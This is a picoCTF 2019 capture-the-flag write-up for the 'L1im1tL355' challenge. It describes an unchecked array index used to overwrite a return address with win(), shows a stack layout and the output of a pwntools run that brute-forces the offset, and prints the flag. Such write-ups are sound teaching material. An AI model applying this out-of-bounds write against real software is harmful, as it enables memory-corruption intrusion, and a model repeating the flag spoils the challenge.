PicoCTF-2019 Writeup
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L1im1tL355

Problem

Just pwn this program and get a flag. Its also found in /problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea on the shell server. Source.

Solution

  1. 1.
    Looking at the source code I notice the replaceIntegerInArrayAtIndex() function looks interesting since it is simply a wrapper around the built-in method of changing an element of an array.
  2. 2.
    This program declares an array on the stack, then allows us to write a DWORD to any array index. If we choose an index between 0 and 666/4 (DWORD is 4 bytes long), we'll end up writing to the array. There are no checks on the index value for the array, so we should be able to go out of bounds and write anywhere to memory. We can input the address of the win() function as the "integer value you want to put in the array" and for the "index in which you want to put the value", we can input the offset from the array to the return address of replaceIntegerInArrayAtIndex().
  3. 3.
    Layout of stack (source):
    lower stack address
    replaceIntegerInArrayAtIndex: stack data
    replaceIntegerInArrayAtIndex: saved ebp
    replaceIntegerInArrayAtIndex: return address (-5)
    main: other stack data
    main: array (+0)
    higher stack address
  4. 4.
    The script bruteforces the offset and finds it to be -5.
  5. 5.
    Run the script.py python script.py USER=<username> PASSWORD=<password>:
    [*] '/home/<username>/Documents/PicoCTF/Binary Exploitation/L1im1tL355/vuln'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
    [+] Connecting to 2019shell1.picoctf.com on port 22: Done
    [*] <username>@2019shell1.picoctf.com:
    Distro Ubuntu 18.04
    OS: linux
    Arch: amd64
    Version: 4.15.0
    ASLR: Enabled
    [+] Opening new channel: 'pwd': Done
    [+] Receiving all data: Done (14B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] Working directory: '/tmp/tmp.SHO8IvJw16'
    [+] Opening new channel: 'ln -s /home/<username>/* .': Done
    [+] Receiving all data: Done (0B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] win address: 0x80485c6
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163772
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163776
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163780
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163784
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163788
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163792
    [*] Offset was -5
    [+] picoCTF{str1nG_CH3353_3fe0db39}

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picoCTF{str1nG_CH3353_3fe0db39}
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